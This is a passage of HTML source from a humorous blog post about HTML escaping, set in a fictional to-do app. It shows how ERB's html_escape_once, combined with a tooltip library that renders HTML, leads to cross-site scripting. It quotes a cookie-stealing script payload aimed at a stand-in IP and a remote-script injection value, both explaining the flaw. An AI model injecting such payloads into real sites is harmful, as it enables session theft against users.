&lt;img src=&quot;https://s3.hrzn.ee/kvp/todos2.png&quot; width=&quot;295&quot; height=&quot;141&quot; alt=&quot;A screenshot of the ToDoIfy app. One to-do item is listed. It says &amp;quot;Add &amp;lt;input&amp;gt; for to-do entry.&amp;quot;&quot;&gt;
&lt;p&gt;Phew! IPO saved. What’s the actual difference in HTML received by the web browser in these cases?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #f38ba8;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;-&lt;/span&gt;&amp;lt;li&amp;gt;Add &amp;lt;input&amp;gt; for to-do entry&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;+&lt;/span&gt;&amp;lt;li&amp;gt;Add &amp;amp;lt;input&amp;amp;gt; for to-do entry&amp;lt;/li&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;escapeHTML&lt;/code&gt; replaces characters that could be recognised as comprising HTML tags or &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references&quot;&gt;character references&lt;/a&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-entity&quot; id=&quot;fnref-entity&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt; with character references that represent &lt;em&gt;those&lt;/em&gt; characters. In other words, &lt;code&gt;&amp;lt;&lt;/code&gt; might be seen as the start of a tag, so replace it with the character entity reference &lt;code&gt;&amp;amp;lt;&lt;/code&gt;, which represents the character &lt;code&gt;&amp;lt;&lt;/code&gt; in a text node or attribute value without it being possibly parsed as anything but text.&lt;/p&gt;
&lt;p&gt;This function will also replace &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;quot;&lt;/code&gt; and &lt;code&gt;&#39;&lt;/code&gt; with &lt;code&gt;&amp;amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;amp;quot;&lt;/code&gt; and &lt;code&gt;&amp;amp;#39;&lt;/code&gt; respectively. These are all essential in ensuring that you can drop a value into a tag’s attribute value without unexpected meaning switches. &lt;code&gt;&amp;lt;img alt=funny&amp;gt;&lt;/code&gt;? Not so funny if the &lt;code&gt;alt&lt;/code&gt; text is user-supplied and they choose the value &lt;code&gt;&amp;gt;&amp;lt;script&amp;gt;window.location.href=&#39;https://66.66.66.66/exfil?&#39;+document.cookie&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-space&quot; id=&quot;fnref-space&quot; data-footnote-ref&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Importantly, it will also replace &lt;code&gt;&amp;amp;&lt;/code&gt; with &lt;code&gt;&amp;amp;amp;&lt;/code&gt;, otherwise there would be no way to actually write the &lt;em&gt;text&lt;/em&gt; &lt;code&gt;&amp;amp;lt;&lt;/code&gt; on the page without it disappearing into a &lt;code&gt;&amp;lt;&lt;/code&gt;. You write &lt;code&gt;&amp;amp;amp;lt;&lt;/code&gt; in HTML to get that text.&lt;/p&gt;
&lt;p&gt;Now, these are fairly cursed circumstances we’re discussing to begin with — why are you piecing together HTML with strings in the first place? — but these are fairly cursed times we live in, and sometimes that best-avoided is unavoidable.&lt;/p&gt;
&lt;h2&gt;From text to HTML&lt;/h2&gt;
&lt;p&gt;The IPO was a great success, and ToDoIfy® has received seventy Marc Andreesen’s worth of investment. Baby, we’re going rich-text! A team of prompt engineers put their best agents onto it, and at the low low price of 63×10&lt;sup&gt;16&lt;/sup&gt; tokens, the Orinoco River and 18% of the world’s remaining biodiversity, we now have a WYSIWYG editor for to-do entry. Bold, italic, even underl— wait, no. No underline. But bold and italic, you betcha!&lt;/p&gt;
&lt;p&gt;Our web developer sees the announcement, and decides to try over with a new account. They once again type:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Add &amp;lt;input&amp;gt; for to-do entry&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They are taken back to the index and are greeted with this monstrosity:&lt;/p&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/todos3.png&quot; width=&quot;302&quot; height=&quot;142&quot; alt=&quot;A screenshot of the ToDoIfy app. One to-do item is listed. It says &amp;quot;Add &amp;amp;lt;input&amp;amp;gt; for to-do entry.&amp;quot;&quot;&gt;
&lt;p&gt;What happened!? I thought we escaped it and fixed everything?!&lt;/p&gt;
&lt;p&gt;And we did — but the nature of our input changed. In the Before Times, we were receiving &lt;em&gt;text&lt;/em&gt;, and throwing text directly into HTML means &lt;em&gt;interpreting text as HTML&lt;/em&gt;, leading to the brokenness&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-brocken&quot; id=&quot;fnref-brocken&quot; data-footnote-ref&gt;4&lt;/a&gt;&lt;/sup&gt; we saw in the first screenshot. We escape text before placing it into the raw HTML output stream, ensuring it is interpreted solely as text.&lt;/p&gt;
&lt;p&gt;In the After Times, however, we’re receiving &lt;em&gt;HTML&lt;/em&gt;. When our user typed &lt;code&gt;Add &amp;lt;input&amp;gt;&lt;/code&gt; into the WYSIWYG editor, the HTML they submitted to the backend looked like &lt;code&gt;Add &amp;amp;lt;input&amp;amp;gt;&lt;/code&gt;. Escaping that same HTML leads to us treating the HTML as text, so the entities&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-entity&quot; id=&quot;fnref-entity-2&quot; data-footnote-ref&gt;2&lt;/a&gt;&lt;/sup&gt; become visible!&lt;/p&gt;
&lt;p&gt;At this point, our backend developer team is scratching its collective head. We have a problem. See, we have billions (maybe trillions) of rows from the Before Times, and they’re all full of &lt;em&gt;text&lt;/em&gt; input like &lt;code&gt;Add &amp;lt;input&amp;gt;&lt;/code&gt;. But it’s been &lt;a href=&quot;https://www.youtube.com/channel/UCrVhY_d0L0qayRhMsRlPBOA&quot;&gt;just over half an hour&lt;/a&gt; since the WYSIWYG editor deploy and we’ve already nearly reached a million rows of &lt;em&gt;HTML&lt;/em&gt; input like &lt;code&gt;Add &amp;amp;lt;input&amp;amp;gt;&lt;/code&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-ignorance&quot; id=&quot;fnref-ignorance&quot; data-footnote-ref&gt;5&lt;/a&gt;&lt;/sup&gt;. If we stop escaping the output, all the old rows will become radioactive and hazardous! If we don’t, though, all the new ones will look awful! What to do?&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Aside: is &lt;em&gt;this&lt;/em&gt; the punchline? (It is not.)&lt;/h3&gt;
&lt;p&gt;At this point, one might think: hey, is there some way we can only escape entities that &lt;em&gt;need&lt;/em&gt; escaping? And there might be, but the problem is, definitions of “need” vary. &lt;code&gt;ERB::Util.html_escape_once&lt;/code&gt; cannot save you here: its definition of “need” is: if there’s a &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&#39;&lt;/code&gt;, &lt;code&gt;&amp;quot;&lt;/code&gt;, or a &lt;code&gt;&amp;amp;&lt;/code&gt; that doesn’t look like it’s part of a character reference, escape it!&lt;/p&gt;
&lt;p&gt;So sure, our Before Times &lt;code&gt;Add &amp;lt;input&amp;gt;&lt;/code&gt; correctly turns into &lt;code&gt;Add &amp;amp;lt;input&amp;amp;gt;&lt;/code&gt;. And our After Times &lt;code&gt;Add &amp;amp;lt;input&amp;amp;gt;&lt;/code&gt; doesn’t get messed with. Great!&lt;/p&gt;
&lt;p&gt;Unfortunately, it breaks our actual WYSIWYG support — &lt;code&gt;&amp;lt;b&amp;gt;Raise $100,000,000mm&amp;lt;/b&amp;gt;&lt;/code&gt; from the frontend becomes &lt;code&gt;&amp;amp;lt;b&amp;amp;gt;Raise $100,000,000mm&amp;amp;lt;/b&amp;amp;gt;&lt;/code&gt; when it gets put onto the page, and just like that we undid all NVIDIA’s hard work.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;We hire a human consultant to “brain solve” this and they suggest we either escape all the rows from the Before Times (so our column now consistently stores HTML), or add a version marker so we know to process the rows differently in output. OK, fine, whatever, we had to convince payroll to pay &lt;em&gt;an actual person&lt;/em&gt; and not just the Holy Trinity or Corporate Centipede or whatever they’re called these days, but everyone’s saying that the agents won’t even let this mistake be possible when GPT-26 lands with something they’re referring to in alpha release notes only as “The Swarm”. It’s fine.&lt;/p&gt;
&lt;h2&gt;Text in HTML&lt;/h2&gt;
&lt;p&gt;So far, so webscale. We haven’t turned a profit yet, but we’re pretty sure this next DeFi–LLM integration will be a game changer.&lt;/p&gt;
&lt;p&gt;The feature design is simple. It’s too simple. It’s brilliant. This changes everything. We add an input to the new to-do page, where you can enter a list of DeFi tokens your to-do is related to. On the to-do list, you can hover over any of your to-dos to see which tokens are part of this “connected experience.” We use the &lt;code&gt;title&lt;/code&gt; attribute on the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; to make this happen.&lt;/p&gt;
&lt;p&gt;Please imagine together with me, for a moment, that it was easier to take a screenshot with the mouse cursor still visible in it than it was to write this sentence of apologia:&lt;/p&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/todos4.png&quot; width=&quot;260&quot; height=&quot;166&quot; alt=&quot;A screenshot of the ToDoIfy app. One to-do item is listed. It says &amp;quot;Add &amp;lt;input&amp;gt; for to-do entry.&amp;quot; There&#39;s a tooltip shown which says &amp;quot;Vicuña Coin ($VCÑ)&amp;quot;.&quot;&gt;
&lt;p&gt;To be honest, we haven’t worked out how to get the LLM in here yet, but it’s a must-have for our investors so stand by for some proprietary patent-pending LLM tech&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-oa&quot; id=&quot;fnref-oa&quot; data-footnote-ref&gt;6&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Because we have the organisational memory of a goldfish, we just threw these entries right into the &lt;code&gt;title&lt;/code&gt; attribute. The inevitable happened — namely, a fifteen-year old intern called Creighton with a typing quirk — and shortly after our app was graced with this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;rakali coin &amp;lt;&quot;$rkl&quot;&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Creighton was, in turn, graced with this:&lt;/p&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/todos5.png&quot; width=&quot;260&quot; height=&quot;187&quot;  alt=&quot;A screenshot of the ToDoIfy app. Two to-do items are listed. One says &amp;quot;Add &amp;lt;input&amp;gt; for to-do entry.&amp;quot; The next says &amp;quot;Add organisational memory&amp;quot;, but there&#39;s a double-quote and greater-than symbol at the start of it. There&#39;s a tooltip shown underneath it which says &amp;quot;rakali coin &amp;gt;&amp;quot;.&quot;&gt;
&lt;p&gt;Oh no :( Let’s not think too much about where our poor &lt;code&gt;$rkl&lt;/code&gt; went.&lt;/p&gt;
&lt;p&gt;The thing is, the intern got hired long after this feature went out, and — what did I tell you about goldfishes — someone making a client app already started sending HTML into these rows too. I mean, they don’t &lt;em&gt;work&lt;/em&gt; like HTML — if you type a &lt;code&gt;&amp;lt;&lt;/code&gt; you see a &lt;code&gt;&amp;lt;&lt;/code&gt; in the tooltip on the website, it’s just a &lt;code&gt;title&lt;/code&gt; attribute — but it was an Electron app using a &lt;code&gt;contenteditable=&amp;quot;plaintext&amp;quot;&lt;/code&gt; so the entities got encoded by accident.&lt;/p&gt;
&lt;p&gt;The funny thing is, those items actually &lt;em&gt;worked better&lt;/em&gt;. See, when Creighton tried using the client app to do the same thing, what made its way into the database was instead this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-diff&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;rakali coin &amp;amp;lt;&amp;amp;quot;$rkl&amp;amp;quot;&amp;amp;gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that works just fine when you view it on web! Really, it’s just the web frontend inserting the wrong stuff in the backend. but it’s too late to change that now. Can’t you fix it so they both look good?&lt;/p&gt;
&lt;p&gt;The dread head of &lt;code&gt;ERB::Util.html_escape_once&lt;/code&gt; rises once again. It Makes Them Both Work, so it must be good, right? It’s committed and we move on — there’s an exciting new collab deal to chase!&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;li&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;%= ERB::Util.html_escape_once(todo.related_coins) %&amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTML in HTML&lt;/h2&gt;
&lt;p&gt;Someone, somewhere, announces that system UI tooltips are So Web 1.0. Isn’t there a Prototype.js plugin for tooltips or something? Can we jQuery this? &lt;em&gt;Is it on Bower?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Someone, somewhere, briefly considers accessibility before they— haha jk lol no they don’t. They change the &lt;code&gt;title&lt;/code&gt; attribute to &lt;code&gt;data-tooltip&lt;/code&gt;, add 28 nested dependencies to &lt;code&gt;package-lock.json&lt;/code&gt; and 900 kilobytes of minified JavaScript, straight in the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag (“it caches better”, they reassure you), and call it a day.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;li&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;%= ERB::Util.html_escape_once(todo.related_coins) %&amp;gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It works great, and yet, not a day passes before someone says — hey, that cool tooltip that appears is just a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;. Can we style that?&lt;/p&gt;
&lt;p&gt;Well, uh, yeah, I don’t see why not. I have to add &lt;code&gt;data-html&lt;/code&gt; to tell ToolTippr v5 to let us style it, but now wrapping the value in &lt;code&gt;&amp;lt;marquee&amp;gt;&lt;/code&gt; works just fine!&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;li&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;%= ERB::Util.html_escape_once(todo.related_coins) %&amp;gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-html&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Actually, it works fine whether we wrap it before or after the &lt;code&gt;html_escape_once&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;Actually, it works fine whether we write it &lt;code&gt;&amp;lt;marquee&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;amp;lt;marquee&amp;amp;gt;&lt;/code&gt;, whether we do it before or after the &lt;code&gt;html_escape_once&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;Isn’t something fishy about this? Are your spidey senses not tingling?&lt;/p&gt;
&lt;h2&gt;Trust levels&lt;/h2&gt;
&lt;p&gt;It can be hard to wrap our heads around what’s exactly happening when we escape and unescape things. Or escape things “once”. I &lt;a href=&quot;https://kivikakk.ee/2012/04/18/escapology&quot;&gt;wrote about this at length&lt;/a&gt;, nearly a decade and a half ago, and 21 year old me’s conclusions still ring true today, even if they’re a little trite:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Data in your application should &lt;em&gt;mean what it means&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;When data comes in, interpret its &lt;em&gt;meaning&lt;/em&gt; once, according to context.&lt;/p&gt;
&lt;p&gt;When data goes out, encode it &lt;em&gt;meaningfully&lt;/em&gt; according to context.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let’s analyse the &lt;em&gt;meaning&lt;/em&gt; of some functions in this area, in any language ecosystem; not the &lt;em&gt;how&lt;/em&gt;, but the &lt;em&gt;what&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Functions variously called &lt;code&gt;escapeHTML&lt;/code&gt;, &lt;code&gt;html_escape&lt;/code&gt;, &lt;code&gt;html.escape&lt;/code&gt;: take some &lt;em&gt;text&lt;/em&gt; and render it into &lt;em&gt;HTML&lt;/em&gt; in such a way that it represents the same value when encountered in a text node or attribute.
&lt;ul&gt;
&lt;li&gt;I have the text &lt;code&gt;100 &amp;gt; 50&lt;/code&gt;. I want the HTML equivalent of this. I put it through &lt;code&gt;escapeHTML&lt;/code&gt;. I get &lt;code&gt;100 &amp;amp;gt; 50&lt;/code&gt;. That’s HTML, and if I put that into a tag, that tag will contain a text node with the content &lt;code&gt;100 &amp;gt; 50&lt;/code&gt;. Perfect.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Functions variously called &lt;code&gt;unescapeHTML&lt;/code&gt;, &lt;code&gt;html.unescape&lt;/code&gt;: take some &lt;em&gt;HTML&lt;/em&gt; as encountered in the body of a text node or attribute, and render it into &lt;em&gt;text&lt;/em&gt; in such a way that it represents the same value.
&lt;ul&gt;
&lt;li&gt;I read the HTML &lt;code&gt;&amp;lt;p&amp;gt;100 &amp;amp;gt; 50&amp;lt;/p&amp;gt;&lt;/code&gt;. I want the textual content of this and for reasons knowable only to myself and the Lord above, I will do it without an HTML parser. I strip tags and I’m left with &lt;code&gt;100 &amp;amp;gt; 50&lt;/code&gt;. I run that through &lt;code&gt;unescapeHTML&lt;/code&gt;, and I get &lt;code&gt;100 &amp;gt; 50&lt;/code&gt;. Passable.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These functions are complimentary, and indeed, &lt;code&gt;unescapeHTML(escapeHTML(x))&lt;/code&gt; will always equal &lt;code&gt;x&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;(&lt;strong&gt;It’s really important to note&lt;/strong&gt;, however, that &lt;code&gt;escapeHTML(unescapeHTML(x))&lt;/code&gt; will very often not equal &lt;code&gt;x&lt;/code&gt;, with security-catastrophic consequences, and I will get to this.)&lt;/p&gt;
&lt;p&gt;But first, let’s try to describe the “what” of &lt;code&gt;html_escape_once&lt;/code&gt;. What would that be like?&lt;/p&gt;
&lt;p&gt;Take some .. &lt;em&gt;text&lt;/em&gt;? Well, no, not really — it might contain entities, the whole point of the &lt;code&gt;_once&lt;/code&gt; bit is we don’t want to touch entities, so we’re conceding it might not just be text.&lt;/p&gt;
&lt;p&gt;Take some &lt;em&gt;HTML&lt;/em&gt;? Well, uh, no, we’re explicitly trying &lt;em&gt;not&lt;/em&gt; to do that. If there’s HTML tags in there, we want them escaped!&lt;/p&gt;
&lt;p&gt;Take some &lt;em&gt;text-ish HTML&lt;/em&gt; and render it into &lt;em&gt;HTML&lt;/em&gt; in such a way that whatever looked like HTML is treated like text but things that look like HTML &lt;em&gt;entities&lt;/em&gt; are treated like entities, in such a way that it represents, uh. Something.&lt;/p&gt;
&lt;p&gt;This is Wonked, and the reason is in the messiness of this definition. When do we have &lt;em&gt;text-ish HTML&lt;/em&gt;? The answer is, &lt;em&gt;hopefully never&lt;/em&gt;. If you’re already that far gone, you’re screwed, right? You can never consistently treat it as one or the other. If you &lt;code&gt;html_escape_once&lt;/code&gt; some text-ish HTML, you’ve turned it into “just HTML” (albeit HTML that will almost certainly represent something illegible at some point), &lt;strong&gt;but you can never, ever unescape it again&lt;/strong&gt;. Why? You’ve mixed text and HTML into the same “trust level”.&lt;/p&gt;
&lt;p&gt;Text in its unadulterated “text” form is something we can handle safely. We can store it in a database field, knowing it faithfully represents some input exactly as intended. We can put it in a text node in the DOM. We can escape it and put it in HTML, although hopefully our framework is doing this for us.&lt;/p&gt;
&lt;p&gt;Importantly, if you do escape it into HTML yourself, you know the resulting HTML is also trusted, and safe for display. The user-controlled portion has been neutralised. You could write, say, &lt;code&gt;&amp;lt;b&amp;gt;#&amp;lbrace;escapeHTML(user_text_input)&amp;rbrace;&amp;lt;/b&amp;gt;&lt;/code&gt; into a &lt;code&gt;.html&lt;/code&gt; file, and you know that if they typed &lt;code&gt;Add &amp;lt;input&amp;gt;&lt;/code&gt;, when you open that file, you should see those very letters &lt;code&gt;Add &amp;lt;input&amp;gt;&lt;/code&gt; in bold, with no surprise textboxes.&lt;/p&gt;
&lt;p&gt;On the other hand, if you receive HTML from the client, it is &lt;em&gt;not&lt;/em&gt; trusted. Even if it’s meant to come from your own editor, there’s nothing stopping them sending you &lt;code&gt;&amp;lt;script&amp;gt;blahBlah.megaEvil()&amp;lt;/script&amp;gt;&lt;/code&gt; anyway and mixing that into your output without the appropriate steps is a recipe for an Our Incredible Journey at a huge loss.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You&lt;/em&gt; sanitise the HTML, though, and it’s looking great.&lt;/p&gt;
&lt;p&gt;You’re not clocking it, are you? You’re not clocking that I’m &lt;a href=&quot;https://youtu.be/0K66aIQ5j6k?si=nKg_L8qDdoxpagif&amp;amp;t=381&quot;&gt;standing on business&lt;/a&gt;. Sanitisation won’t save you — this is an entirely different problem.&lt;/p&gt;
&lt;p&gt;Creighton, the lovable scamp, enters his latest coin into the app’s WYSIWYG interface, with a little extra their website told him to do:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Katydid Coin $$$KTDC &amp;lt;script src=https://katydid.coin/win.js&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As we mentioned, the app is sending HTML, so we feel pretty safe because this is what goes down the wire, and into (and out of) the database:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;Katydid Coin $$$KTDC &lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;lt;&lt;/span&gt;script src=https://katydid.coin/win.js&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;lt;&lt;/span&gt;/script&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can sanitise it going into the database, or we can sanitise it before preparing for output. Or both! This is safe. There’s no nasty tags in here, just text in a paragraph.&lt;/p&gt;
&lt;p&gt;What’s our frontend HTML look like again?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;li&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;lt;%= ERB::Util.html_escape_once(todo.related_coins) %&amp;gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-html&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remind me what happens when we &lt;code&gt;html_escape_once&lt;/code&gt; that string above? &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; get escaped, but none of the &lt;code&gt;&amp;amp;lt;&lt;/code&gt; or &lt;code&gt;&amp;amp;gt;&lt;/code&gt;. We end up with this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;li&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-tooltip&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&amp;amp;lt;p&amp;amp;gt;Katydid Coin $$$KTDC &amp;amp;lt;script src=https://katydid.coin/win.js&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;data-html&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, when ToolTippr v5 reads &lt;code&gt;el.dataset[&amp;quot;tooltip&amp;quot;]&lt;/code&gt; to insert HTML into the tooltip &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;, what does it see?&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-html&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;Katydid Coin $$$KTDC &lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;script&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt;https://katydid.coin/win.js&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #94e2d5;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: 